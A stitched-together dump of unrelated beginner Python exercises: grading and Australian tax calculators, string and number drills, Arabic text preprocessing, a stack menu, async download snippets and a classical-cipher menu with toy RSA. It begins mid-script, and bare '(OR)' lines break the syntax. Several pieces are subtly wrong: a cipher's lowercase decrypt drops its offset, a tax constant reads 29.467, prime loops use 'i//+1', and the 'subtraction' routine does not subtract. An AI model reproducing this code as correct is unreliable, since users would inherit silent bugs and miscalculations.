ax1.set_ylabel("Counts")
ax1.set_xlabel("Age")

# binning age
def age_bins(age):
    if age < 29:
        return "1 - young"
    if age < 60 and age >= 29:
        return "2 - middle-aged"
    else:
        return "3 - old-aged"

# apply trans. function
census_income["age_bins"] = census_income["age"].apply(age_bins)

# group and count all entries in the same bin
age_bins_df = census_income.groupby(by=["age_bins"])["age_bins"].count()

ax2.bar(age_bins_df.index, age_bins_df, color='grey')
ax2.set_ylabel("Counts")
ax2.set_xlabel("Age")
# This program will convert a given mark to its corresponding grade:
# 1. Take user inputs:


mark = input("Ënter a mark between 0 to 100: ")

# repeat the process until the user enter q
while mark != 'q':
    mark=int(mark)
    if mark>100 or mark<0:
        print("Mark Invalid")
    elif mark>=0 and mark<= 49:
        print(f"Grade for {mark} is N (Fail)")
    elif mark>=50 and mark<= 59:
        print(f"Grade for {mark} is P (Pass)")
    elif mark>=60 and mark<= 69:
        print(f"Grade for {mark} is C (Credit)")
    elif mark>=70 and mark<= 79:
        print(f"Grade for {mark} is D (Distinction)")
    else:
        print(f"Grade for {mark} is HD (High Distinction)")
# get a new mark:
    mark = input("Ënter a mark between 0 to 100: ")
# this program is designed to help the user get the maultiplication series tables:

# 1. first take user inputs:
SeriesStart= int(input("Series Start value: "))
seriesEnd = int(input("Series End value: "))
# The first multiplication table: 
tableStart= int(input("Table Start Value: "))
# The last multiplication table: 
tableEnd= int(input("Table End Value: "))


if seriesEnd<=SeriesStart:
    print("Invalid End Value")
if tableEnd<= tableStart:
    print("Invalid ENd Value")
else:
    for i in range(SeriesStart,seriesEnd+1):
        # print a heading(i)
        print("multiplication table", i)
        for j in range (tableStart, tableEnd +1):
            print(j, 'X',i, '=', i*j)
# ask the user of the series of multiplication table they want it to be printed: 
multiple = int(input("Enter the multiplication table series to generat: "))
# set the first value in the table as 1:
value = 1

# To make sure that the multiplication table will be up to 12:
while value<=12:
    # Formula
    number = multiple * value
    # to print the result using required format:
    print(f"{value} x {multiple} = {number}")
    # in order to inctease the value by 1, using this syntax:
    value = value+1
# Basics of lists:
""""
monash = ["ENG1013", "ENG1012", "ENG1021", "MTH1020", [15082000, 'Shaghaf']]   
whenever I want to put a string within a list, I have to put qoutation marks "".
the last item in the list is a list inside another list, I just have to put a square brackets to refer to the list []

another way to print the last item in the list is by using this syntax 
print(monash[-1])

لو كنت ابغى البرنمج يطبع لي العناصر كلها من الأول الى الأخير بدون  ما يتضمن الأخير
print(monash[0:4])

لو كنت حابة اطبع من عند عنصر معين الى نهاية القائمة
print(monash[3:]) 3 العنصر اللي ببدا منه
print(monash[1:])

"""

# لو كنت حابة اغير العنصر الأول
""""
monash[1]= 'ENG1014'
print(monash[1])
monash[0] = 'ENG1005'
print(monash[0])
monash[2] = 'ENG1011'
monash[3] = 'BMS1021'
print(monash)
"""
monash = ["ENG1013","ENG1013", "ENG1012", "ENG1021", "MTH1020", 'Shaghaf']  
rmit = ["Math", 'Physics Basics', 'Introduction to Engineering', 15, True]
# to print out the to lists at the same time use this symtax:
# print(monash, rmit)
""""
functions in lists:
in order to join these two lists in one list, there are 3 ways:

1.  use .extend() function 
the_ma_infunction.extend(the_function_that_you_it_to_be_added)
then print out the main function
monash.extend(rmit)
print(monash)

2. use this syntax: 
monash += rmit
print(monash)

3. use this synatx:
monash = monash + rmit
print(monash)

"""
# to add another item into the list use .append(), then you must print out the new list
# هذه الطريقة تضيف عنصر جديد في نهاية القائمة فقط 
"""
monash.append("ENG111")
print(monash)
monash.append("ENG2000")
print(monash)
monash.append("ENG3000")
 print(monash)

"""

# insert function: تستخد لأضافة عنصر جديد في مكان معين في القائمة 
"""
monash.insert(index location, 'new item')
monaash.insert(1, ENG1015)
print(monash)

"""
 # to remove an item from a list, there are 2 ways:
""""
1. using .remove() function: in the bracket I have to write the the string itself not the index
monash.remove("ENG1021")
print(monash)
2. using .pop() function 
print(monash)

""" 
 # to delete everything inside a list: follow this syntax
"""
monash.clear()
print(monash)
RMIT.clear()
print(rmit)

    """
# In order to delete the last item only: use .pop()
""""
monash.pop()
print(monash)

"""
# Also in pop function I can save what has been poped:
"""
last_item_popped = monash.pop()
print(last_item_popped)

"""
# if I wanna know the items that are duplicated within a list use:
"""
print(monash.count("ENG1013"))
print(listname.count("the item required to be counted"))

"""
# in lists, we can organize the list using .sort() function:
# alphabetically when it comes to strings and from smallest number to the biggest
# This  program that will identify the smallest value in a list of items:

values = [3005,9117,8474,2513,7004,7248,8669,9234,5428,7812,711,3908,5748,969,3296,589,2216,1792,4593,6888,2554,111,8455,8000,9158,2546,1757,6620,375,1521,9712,7185,5841,5699,9175,4525,4157,1622,8131,2736,4735,7740,1261,6249,423,7362,5653,3966,5016,8195,3465,294,7675,3075,7193,6348,2272,30,6390,2976,9344,1565,6988,2458,5365,4121,1695,4752,3251,4600,8490,5179,9572,7384,2990,9094,4746,6487,5948,8607,9311]
minVal = values[0]
# to make sure that the first value is the smallest value, I should compare it whith every single element in the list
for item in values:
    if item<minVal:
        minVal=item
    

print(f"Minimum value in list is {minVal}")
or Windows User coming to this post, follow these steps:-

You can make sure that pip is up-to-date by running: python -m pip install --upgrade pip

Install virtualenv by running: python -m pip install --user virtualenv

Finally create environment using python -m virtualenv <your env name>
#Individual coding task 2 solution 
#get the current time and greet based on the time 

#get the time in the correct HH:MM format 
currenttime = input("Enter the current time in HH:MM 24 hour format: ")

#split the time into hours and minutes
splittime = currenttime.split(':')

#convert the minutes and hours to numbers 
splittime[0] = int(splittime[0])
splittime[1] = int(splittime[1])

#use the hours(the first part of splittime) to work out the greeting
if splittime[0]<12: #below 12 it is before noon
    print("Good Morning")
elif splittime[0]>=12 and splittime[0]<16: #above 12 and below 16
    print("Good Afternoon")
elif splittime[0]>=16 and splittime[0]<19: #above 16 and below 19
    print("Good Evening")
else: #must be before midnight 
    print("Good Night")
# first step is getting inputs from the user:
firstName = input("Enter your first name: ")
lastName = input("Enter your last name: ")
title = input("Enter your preferred title: ")

# capitalize the first letter only:
firstName = firstName.capitalize()
title = title.capitalize()

# capitalize the whole word:
lastName = lastName.upper()


print(f"Greetings, {title}. {firstName} {lastName}")
def delete_links(input_text):
    pettern  = r'(?i)\b((?:https?://|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}/)(?:[^\s()<>]+|\(([^\s()<>]+|(\([^\s()<>]+\)))*\))+(?:\(([^\s()<>]+|(\([^\s()<>]+\)))*\)|[^\s`!()\[\]{};:'".,<>?«»“”‘’]))'
    out_text = re.sub(pettern, ' ', input_text)
    return out_text

def delete_repeated_characters(input_text):
    pattern  = r'(.)\1{2,}'
    out_text = re.sub(pattern, r"\1\1", input_text)
    return out_text

def replace_letters(input_text):
    replace = {"أ": "ا","ة": "ه","إ": "ا","آ": "ا","": ""}
    replace = dict((re.escape(k), v) for k, v in replace.items()) 
    pattern = re.compile("|".join(replace.keys()))
    out_text = pattern.sub(lambda m: replace[re.escape(m.group(0))], input_text)
    return out_text

def clean_text(input_text):
    replace = r'[/(){}\[\]|@âÂ,;\?\'\"\*…؟–’،!&\+-:؛-]'
    out_text = re.sub(replace, " ", input_text)
    words = nltk.word_tokenize(out_text)
    words = [word for word in words if word.isalpha()]
    out_text = ' '.join(words)
    return out_text

def remove_vowelization(input_text):
    vowelization = re.compile(""" ّ|َ|ً|ُ|ٌ|ِ|ٍ|ْ|ـ""", re.VERBOSE)
    out_text = re.sub(vowelization, '', input_text)
    return out_text

def delete_stopwords(input_text):
    stop_words = set(nltk.corpus.stopwords.words("arabic") + nltk.corpus.stopwords.words("english"))
    tokenizer = nltk.tokenize.WhitespaceTokenizer()
    tokens = tokenizer.tokenize(input_text)
    wnl = nltk.WordNetLemmatizer()
    lemmatizedTokens =[wnl.lemmatize(t) for t in tokens]
    out_text = [w for w in lemmatizedTokens if not w in stop_words]
    out_text = ' '.join(out_text)
    return out_text

def stem_text(input_text):
    st = ISRIStemmer()
    tokenizer = nltk.tokenize.WhitespaceTokenizer()
    tokens = tokenizer.tokenize(input_text)
    out_text = [st.stem(w) for w in tokens]
    out_text = ' '.join(out_text)
    return out_text


def text_prepare(input_text, ar_text):
    out_text = delete_links(input_text)
    out_text = delete_repeated_characters(out_text)
    out_text = clean_text(out_text)
    out_text = delete_stopwords(out_text)
    if ar_text:
        out_text = replace_letters(out_text)
        out_text = remove_vowelization(out_text)
    else:
        out_text = out_text.lower()
    return out_text
# this program will calculate the third side by using phythegrasos theorm:
import math # this is necessary for the formula particularly sqr
sideA = input("Please enter side A: ")
sideB = input("Please enter side B: ")
sideC = input("Please enter side C: ")

# to find which side is empty use if statement and  to refer to empty in coding is ''

if sideA == '':
    sideB = float(sideB)
    sideC = float(sideC)
    sideA = math.sqrt(sideC**2 - sideB**2)
    print(f"Given side C = {sideC} and side B = {sideB}")
    print(f"Calculated Side A as {round(sideA,4)}")
elif sideB == '':
    sideA = float(sideA)
    sideC = float(sideC)
    sideB = math.sqrt(sideC**2 - sideA**2)
    print(f"Given side C = {sideC} and side A = {sideA}")
    print(f"Calculated Side B as {round(sideB,4)}")
else:
    sideA = float(sideA)
    sideB = float(sideB)
    sideC = math.sqrt(sideA**2 + sideB**2)
    print(f"Given side A = {sideA} and side B = {sideB}")
    print(f"Calculated Side C as {round(sideC,4)}")
import math
name = input("Enter your name: ")
taxableIncome = float(input(f"Hi {name}, please enter your taxable income: "))
#round the users income to the lowest whole number 
taxableIncome = math.floor(taxableIncome)
# if statement to dtermine the appropriate tax:
if taxableIncome>=0 and taxableIncome<=18200:
    print(f"{name} has a taxable income of ${taxableIncome}, whith a total amount of $0 tax due.")
elif taxableIncome >= 18201 and taxableIncome <= 45000:
    tax= 0.19*(taxableIncome - 18200)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
elif taxableIncome >=  45001 and taxableIncome<= 120000:
    tax = 5092+ 0.325*(taxableIncome - 45000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
elif taxableIncome>= 120001 and taxableIncome<= 180000:
    tax = 29.467+0.37*(taxableIncome - 120000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
else:
    tax = 51667+0.45*(taxableIncome - 180000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
def push(stack, item):
    stack.append(item)
    print("Item pushed to stack")


def pop(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        stack.pop()
        print("Item popped from stack")


def peek(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        print(stack[-1])


def display(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        print(stack)


def main():
    stack = []
    choice = 0
    while choice != 6:
        print("1. Push")
        print("2. Pop")
        print("3. Peek")
        print("4. Display")
        print("5. Exit")
        choice = int(input("Enter your choice : "))
        if choice == 1:
            item = input("Enter the item to be pushed : ")
            push(stack, item)
        elif choice == 2:
            pop(stack)
        elif choice == 3:
            peek(stack)
        elif choice == 4:
            display(stack)
        elif choice == 5:
            exit()
        else:
            print("Wrong choice")


if __name__ == '__main__':
    main()
def addNums(a,b):
    summa = a + b
    return summa
ARABIC_PUNCTUATION = ':"؟!؛،,.؍, '

def remove_arabic_punctuations(text : str) -> str:
    '''
        text : ", أَهْلًا وسَهْلًا Hello 212"
        output : 
            ---> "  أَهْلًا وسَهْلًا Hello 212"
    '''
    chars = [char for char in text if (char not in ARABIC_PUNCTUATION)]
    output = ''.join(chars)
    return output
def remove_diacritics(text : str) -> str:
    '''
        text : "أَهْلًا وسَهْلًا Hello 212"
        output : 
            ---> "أهلا وسهلا Hello 212"
    '''
    chars = [char for char in text if (char not in HARAKAT)]
    output = ''.join(chars)
    return output
pip install numpy

a = np.zeros((2, 3))

print(a)
import math
from random import getrandbits


def encrypt(message, key):
    cipher = ""
    
    for i in range(len(message)):
            char = message[i]
            keychar = key[i]
            
            if (char.isupper()):
                cipher += chr((ord(char) + ord(keychar) - 130) % 26 + 65)
                
            else:
                cipher += chr((ord(char) + ord(keychar) - 194) % 26 + 97)
        
    return cipher

def decrypt(cipher, key):
    message = ""
    
    for i in range(len(cipher)):
            char = cipher[i]
            keychar = key[i]
            
            if (char.isupper()):
                message += chr((ord(char) - ord(keychar) - 130) % 26 + 65)
                
            else:
                message += chr((ord(char) - ord(keychar)) % 26 + 97)
                
    return message
    
def newkey(text, key):
    newkey = ""
    length = 1
        
    while length <= len(text):
        for i in range(len(key)):
            if length <= len(text):
                newkey += key[i]
                length += 1
            else:
                break;
    return newkey
    
def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a

def modinv(a, m):
    for x in range(1, m):
        if (a * x) % m == 1:
            return x
    return None

def is_prime(n):
    if n in [2, 3]:
        return True
    if n == 1 or n % 2 == 0:
        return False
    for i in range(3, int(n ** 0.5) + 1, 2):
        if n % i == 0:
            return False
    return True

def generate_keypair(p, q):
    if not (is_prime(p) and is_prime(q)):
        raise ValueError('Both numbers must be prime.')
    elif p == q:
        raise ValueError('p and q cannot be equal')

    n = p * q
    phi = (p - 1) * (q - 1)

    e = getrandbits(phi.bit_length())
    g = gcd(e, phi)
    while g != 1:
        e = getrandbits(phi.bit_length())
        g = gcd(e, phi)

    d = modinv(e, phi)

    return ((e, n), (d, n))

def encrypt4(pk, plaintext):
    key, n = pk
    cipher = [(ord(char) ** key) % n for char in plaintext]
    return cipher

def decrypt4(pk, ciphertext):
    key, n = pk
    plain = [chr((char ** key) % n) for char in ciphertext]
    return ''.join(plain)

def encryptMessage(key, message):
    
    cipherText = [""] * key
    for col in range(key):
        pointer = col
        while pointer < len(message):
            cipherText[col] += message[pointer]
            pointer += key
    return "".join(cipherText)

def decryptMessage(key, message):
    
    numCols = math.ceil(len(message) / key)
    numRows = key
    numShadedBoxes = (numCols * numRows) - len(message)
    plainText = [""] * numCols
    col = 0
    row = 0
 
    for symbol in message:
        plainText[col] += symbol
        col += 1
 
        if (
            (col == numCols)
            or (col == numCols - 1)
            and (row >= numRows - numShadedBoxes)
        ):
            col = 0
            row += 1
 
    return "".join(plainText)
    
x = 1
while(x==1):
    print("1.Caesar Cipher \n 2.Vernam Cipher \n 3.Vigenere Cipher \n 4.RSA \n 5.Transposition Cipher \n")
    Choice = int(input("Choose one of the options above: "))
 
    if Choice == 1:
        print("\n1.Encrypt a message \n 2.Decrypt a message\n")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            cipher = ""
            message = input("Enter your message: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(message)):
                char = message[i]
            
                if (char.isupper()):
                    cipher += chr((ord(char) + shift - 65) % 26 + 65)

                else:
                    cipher += chr((ord(char) + shift - 97) % 26 + 97)
                
            print("Your cipher text = ",cipher)
 
        if option == 2:
            message = ""
            cipher = input("Enter your Cipher text: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(cipher)):
                char = cipher[i]
            
                if (char.isupper()):
                    message += chr((ord(char) - shift - 65) % 26 + 65)
        
                else: 
                    message += chr((ord(char) - shift - 97) % 26 + 97)
            print("Your decrypted message = ",message)
 
    elif Choice == 2:
        print("1.Encrypt a message \n 2.Decrypt a message")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message : ")
            key = input("Enter the key: ")
        
            print("Your cipher text = ",encrypt(message, key))
        
        elif option == 2:
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            print("Your decrypted message = ",decrypt(cipher, key))
 
    elif Choice == 3:
        print("1.Encrypt a message \n 2.Decrypt a message")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message: ")
            key = input("Enter the key: ")
        
            key = newkey(message, key)
            print("Your cipher text = ",encrypt(message,key))
        
        elif option == 2:
            message = ""
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            key = newkey(cipher, key)
            print("Your decrypted message = ",decrypt(cipher,key))
    
    elif Choice == 4:
        print("1.Encrypt or Decrypt message after key generation")
        opt = int(input("Choose one option from above: "))
        
        if opt == 1:
            p = int(input("Enter a prime number (17, 19, 23 etc): "))
            q = int(input("Enter another prime number (Not one you entered above): "))
            print("Generating your public and private keypairs...")
            public, private = generate_keypair(p, q)
            print("Your public key = ", public, " and your private key = ", private)
            message = input("Enter a message to encrypt with your key: ")
            encrypted_msg = encrypt4(private, message)
            print("Your encrypted message is: ")
            print(''.join(map(lambda x: str(x), encrypted_msg)))
            print("Your message is:")
            print(decrypt4(public, encrypted_msg))
        
        else:
            print("You entered a wrong option")
    
    elif Choice == 5:
        print("1.Encryption \n 2.Decryption")
        option = int(input("\nChoose one option from above: "))

        if option == 1:
            message = input("Enter message: ")
            key = int(input("Enter key [2-%s]: " % (len(message) - 1)))
            text = encryptMessage(key, message)
            print("Your encrypted message = ",text)
        elif option == 2:
            cipher = input("Enter message: ")
            key = int(input("Enter key [2-%s]: " % (len(cipher) - 1)))
            text = decryptMessage(key, cipher)
            print("Your encrypted message = ",text)
        
    opt = input("\nDo you want to continue?(y/n): ")
    if opt == 'n':
        x = 0
    elif opt == 'y':
        x = 1
        
        
# if order of characters is important

string=input('enter string:')
new=''
for i in string:
    if i not in new:
        new+=i
print(new)

# if order of characters is not important

s=set()
for i in string:
    s.add(i)
lis=''
for i in s:
    lis+=i
print(lis)
string1=input('enter first string:')
string2=input('enter second string:')
string=''.join([string1,string2])
print('string concatenation without join method:',string1+string2)
print('string concatenation using join method:',string)
string=input('enter string:')
new=''
for i in string:
    if i!=' ':
        new+=i
print('string after removing spaces:',new)
string=input('enter string:')
lis=[]
for i in string:
    lis.append(i)
print(lis)

(OR)

print(list(string))
string=input('enter string:')
alpha=0
digits=0
special=0
for i in string:
    if i.isdigit():
        digits+=1
    elif i.isalpha():
        alpha+=1
    else:
        special+=1
print('digits:',digits,'alphabets:',alpha,'special character:',special)
string=input('enter string:')
new=''
lis=['a','e','o','i','u']
for i in range(len(string)):
    if string[i].lower() in lis:
        new+='_'
        new+=string[i+1:]
        break
    else:
        new+=string[i]
print(new)
string=input('enter string:')
count=0
char=''
for i in set(string):
    if string.count(i)>count:
        count=string.count(i)
        char=i
print(char)
string=input('enter string:')
vowels=0
consonants=0
lis=['a','e','i','o','u']
for i in string:
    if i.lower() in lis:
        vowels+=1
    else:
        consonants+=1
print('In',string,'there are',vowels,'vowels and',consonants,'are there',)
string=input('enter string:')
new=''
lis=['a','e','i','o','u']
for i in string:
    if i.lower() in lis:
        i='' # continue
    new+=i
print('The string after removing vowels is',new)
string=input('enter string:')
new=''
for i in string:
    if i.isupper():
        i=i.lower()
    new+=i
print('Lower Case String is',new)
string=input('enter string:')
new=''
for i in string:
    if i.islower():
        i=i.upper()
    new+=i
print('Uppercase String is',new)
from django.contrib import admin

class RelationAdmin(admin.ModelAdmin):
       raw_id_fields = ('Media','Particle',)

admin.site.register(Relation, RelationAdmin)
string=input('enter string:')
char=input('enter character to replace space:')
modify_String=string.replace(' ',char)
print('After Replacing space with',char,'string will be',modify_String)

(OR)

string=input('enter string:')
char=input('enter character to replace space:')
concate=''
for i in string:
    if i==' ':
        i=char
    concate+=i
print('After Replacing space with',char,'string will be',concate)
    
(OR)

string=input('enter string:')
char=input('enter character to replace space:')
print('After Replacing space with',char,'string will be',char.join(string.split()))


char=input('enter character:')
if '0'<=char<='9':
    print(char,'is digit')
else:
    print(char,'is not digit')
    
(OR)
    
char=input('enter character:')
if 48<=ord(char)<=57:
    print(char,'is digit')
else:
    print(char,'is not digit')

(OR)

char=input('enter character:')
if char.isdigit():  # isdigit() is a method to find digit or not it returns true and false
    print(char,'is digit')
else:
    print(char,'is not digit')
char=input('enter character:')
lis=['a','e','i','o','u']
if char.lower() in lis:
    print(char,'is vowel')
else:
    print(char,'is consonant')

(OR)

char=input('enter character:')
if char=='a' or char=='e' or char=='i' or char=='o' or char=='u' or char=='A' or char=='E' or char=='I' or char=='O' or char=='U':
    print(char,'is vowel')
else:
    print(char,'is consonant')
string=input('enter string:')
if string==string[::-1]:
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
if string==''.join(reversed(string)):
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
reverse=''
for i in string:
    reverse=i+reverse
if string==reverse:
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
for i in range(len(string)//2):
    if string[i]!=string[len(string)-i-1]:
        print(string,'is not palindrome')
        break
else:
    print(string,'is palindrome')
string1=input('enter first string:')
string2=input('enter second string:')
string1=string1.lower()
string2=string2.lower()
if sorted(string1)==sorted(string2):
    print('string1 and string2 are anagrams')
else:
    print('string1 and string2 are not anagrams')
string=input('enter string:')
char=input('enter character you want to count:')
count=0
for i in string:
    if i==char:
        count+=1
print('The number of occurance of character',char,'is',count)
string=input('enter string:')
char=input('enter character you want to remove:')
strr=string.replace(char,'')
print('string after removing',char,'character: ',strr)
def encrypt(message, key):
    cipher = ""
    
    for i in range(len(message)):
            char = message[i]
            keychar = key[i]
            
            if (char.isupper()):
                cipher += chr((ord(char) + ord(keychar) - 130) % 26 + 65)
                
            else:
                cipher += chr((ord(char) + ord(keychar) - 194) % 26 + 97)
        
    return cipher

def decrypt(cipher, key):
    message = ""
    
    for i in range(len(cipher)):
            char = cipher[i]
            keychar = key[i]
            
            if (char.isupper()):
                message += chr((ord(char) - ord(keychar) - 130) % 26 + 65)
                
            else:
                message += chr((ord(char) - ord(keychar)) % 26 + 97)
                
    return message
    
def newkey(text, key):
    newkey = ""
    length = 1
        
    while length <= len(text):
        for i in range(len(key)):
            if length <= len(text):
                newkey += key[i]
                length += 1
            else:
                break;
    return newkey
    
x = 1
while(x==1):
    print("1.Caesar Cipher \n 2.Vernam Cipher \n 3.Vigenere Cipher \n 4.Transposition Cipher \n 5.RSA \n")
    Choice = int(input("Choose one of the options above: "))
 
    if Choice == 1:
        print("\n1.Encrypt a message \n 2.Decrypt a message\n")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            cipher = ""
            message = input("Enter your message: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(message)):
                char = message[i]
            
                if (char.isupper()):
                    cipher += chr((ord(char) + shift - 65) % 26 + 65)

                else:
                    cipher += chr((ord(char) + shift - 97) % 26 + 97)
                
            print("Your cipher text = ",cipher)
 
        if option == 2:
            message = ""
            cipher = input("Enter your Cipher text: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(cipher)):
                char = cipher[i]
            
                if (char.isupper()):
                    message += chr((ord(char) - shift - 65) % 26 + 65)
        
                else: 
                    message += chr((ord(char) - shift - 97) % 26 + 97)
            print("Your decrypted message = ",message)
 
    elif Choice == 2:
        print("1.Encrypt a message")
        print("2.Decrypt a cipher")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message : ")
            key = input("Enter the key: ")
        
            print("Your cipher text = ",encrypt(message, key))
        
        elif option == 2:
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            print("Your decrypted message = ",decrypt(cipher, key))
 
    elif Choice == 3:
        print("1.Encrypt a message")
        print("2.Decrypt a cipher")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message: ")
            key = input("Enter the key: ")
        
            key = newkey(message, key)
            print("Your cipher text = ",encrypt(message,key))
        
        elif option == 2:
            message = ""
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            key = newkey(cipher, key)
            print("Your decrypted message = ",decrypt(cipher,key))
            
    opt = input("\nDo you want to continue?(y/n): ")
    if opt == 'n':
        x = 0
    elif opt == 'y':
        x = 1
        
        
num = int(input("enter number:"))

print("square of",num,'is',num*num) # normal

print('square of',num,'is',pow(num,2)) # using pow() function

print('square of',num,'is',num**2) # using exponent operator

print("cube of",num,'is',num*num*num) # normal

print('cube of',num,'is',pow(num,2)*num) # using pow() function

print('cube of',num,'is',num**2*num) # using exponent operator
# using pow() function

base = int(input("Enter the value for base :"))
exponent = int(input("Enter the value for exponent :"))
print(base,"to power ",exponent,"=",pow(base,exponent))


( OR )

# using for loop (iterative method)

base = int(input("Enter the value for base :"))
exponent = int(input("Enter the value for exponent :"))
power=1
for i in range(1,exponent+1):
    power*=base
print(base,"to power ",exponent,"=",power)
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
n3=int(input('enter third number:'))
if n1<=n2 and n1<=n3:
    small=n1
elif n2<=n1 and n2<=n3:
    small=n2
else:
    small=n3
print('minimum value is',small)
low=int(input('enter lower range:'))
high=int(input('enter heigher range:'))
for i in range(low,high+1):
    for j in range(2,i//+1):
        if i%j==0:
            break
    else:
        print(i,end=' ')
        
        
n=int(input('enter number:'))
for i in range(2,n+1):
    for j in range(2,i//+1):
        if i%j==0:
            break
    else:
        print(i,end=' ')
        
        
(OR)


def prime(n):
    if n<2:
        return 0
    else:
        for i in range(2,n//2+1):
            if n%i==0:
                return 0
        return 1

n=int(input('enter number:'))
for i in range(1,n+1):
    if prime(i):
        print(i,end=' ')
n=int(input('enter number:'))
if n%2==0:
    print(n,'is even number')
else:
    print(n,'is odd number')
def fact(n):
    if n==1:
        return 1
    else:
        return n*fact(n-1)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print(n,'!=',fact(n))
    
n=int(input('enter number:'))
if n<0:
    print('enter positive number')
elif n==0:
    print(0,'!=',1)
else:
    factorial=1
    for i in range(1,n+1):
        factorial=factorial*i
    print(n,'!=',factorial)
arr=list(map(int,input('enter values to array:').split()))
summ=sum(arr)
length=len(arr)
average=summ/length
print(average)
n=int(input('enter number:'))
summ=0
for i in range(1,n): # (1,n//2+1) all factors b/w 1 and half of number if excludes n itself
    if n%i==0:
        summ+=i
if summ==n:
    print(n,'is perfect number')
else:
    print(n,'is not perfect number')
#by using increment

n1=int(input('enter first number:')) 
n2=int(input('enter second number:')) 
for i in range(1,n2+1): 
    n1+=1
print(n1)

#by using AND (&) and XOR(A)

n1=int(input('enter first number:')) 
n2=int(input('enter second number:'))
while(n2!=0): 
    carry=n1&n2
    n1=n1^n2
    n2=carry<<1
print(n1)

#Subtraction without '-' operator

n1=int(input('enter first number:'))
n2=int(input('enter second number:')) 
while(n2!=0):
    n1=n1^n2
    carry=n1&n2 
    n2=carry<<1
print(n1)
async def async_http_download(src_url, dest_file, chunk_size=65536):
    async with aiofiles.open(dest_file, 'wb') as fd:
        async with aiohttp.ClientSession() as session:
            async with session.get(src_url) as resp:
                async for chunk in resp.content.iter_chunked(chunk_size):
                    await fd.write(chunk)
import asyncio
import concurrent.futures
import requests

async def main():

    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:

        loop = asyncio.get_event_loop()
        futures = [
            loop.run_in_executor(
                executor, 
                requests.get, 
                'http://example.org/'
            )
            for i in range(20)
        ]
        for response in await asyncio.gather(*futures):
            pass


loop = asyncio.get_event_loop()
loop.run_until_complete(main())
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
temp=n1
n1=n2
n2=temp
print('After Swapping: n1=',n1,'n2=',n2)

n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
n1=n1+n2
n2=n1-n2
n1=n1-n2
print('After Swapping: n1=',n1,'n2=',n2)

(OR)

# This will used for any datatype like strings also

n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
n1,n2=n2,n1
print('After Swapping: n1=',n1,'n2=',n2)
# input as Number

n=int(input('enter number:'))
temp=n
while(n!=0):
    rem=n%10
    if rem!=0 and rem!=1:
        print(temp,'is not Binary Number')
        break
    n=n//10
else:
    print(temp,'is Binary Number')
    
    
(OR)

# input as String

n=input('enter number:')
lis=['1','0']
for i in n:
    if i not in lis:
        print(n,'is not Binary Number')
        break
else:
    print(n,'is Binary Number')
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
n3=int(input('enter third number:'))
if n1>=n2 and n1>=n3:
    maxi=n1
elif n2>=n1 and n2>=n3:
    maxi=n2
else:
    maxi=n3
print('maximum value is',maxi)

(OR)

# using ternary operator

maxi=n1 if n1>=n2 else n2
maxi= maxi if maxi>=n3 else n3
print('maximum value is',maxi)
n=int(input('enter number:'))
temp,reverse=n,0
while(n!=0):
    rem=n%10
    reverse=(reverse*10)+rem
    n=n//10
if temp==reverse:
    print(temp,'is Palindrome Number')
else:
    print(temp,'is not Palindrome Number')

(OR)

n=int(input('enter number:'))
reverse=int(str(n)[::-1])
if n==reverse:
    print(n,'is Palindrome Number')
else:
    print(n,'is not Palindrome Number')
def fibonacci(n):
    if n<=1:
        return n
    return fibonacci(n-1)+fibonacci(n-2)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print(fibonacci(n))
    
# Fibonacci term always starts with 0
def fibonacci(n):
    if n==0:
        return 0
    elif n==1:
        return 1
    else:
        return fibonacci(n-1)+fibonacci(n-2)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print('Fibonacci Series: ',end='')
    for i in range(n):
        print(fibonacci(i),end=' ')
n=int(input('enter number:'))
if n==1:
    print(1,'is not prime number because it has only one factor')
else:
    for i in range(2,n): # (2,n//2)
        if n%i==0:
            print(n,'is not prime number')
            break
    else:
        print(n,'is prime number')
n=int(input('enter number:'))
temp=n
length=len(str(n))
summ=0
while(n!=0):
    rem=n%10
    summ=summ+rem**length # pow(rem,length)
    n=n//10
if summ==temp:
    print('It is Armstrong Number')
else:
    print('It is not Armstrong Number')
n=int(input('enter number:'))
reverse=0
while(n!=0):
    rem=n%10
    reverse=reverse*10+rem
    n=n//10
print(reverse)

(OR)

n=int(input('enter number'))
print(int(str(n)[::-1]))
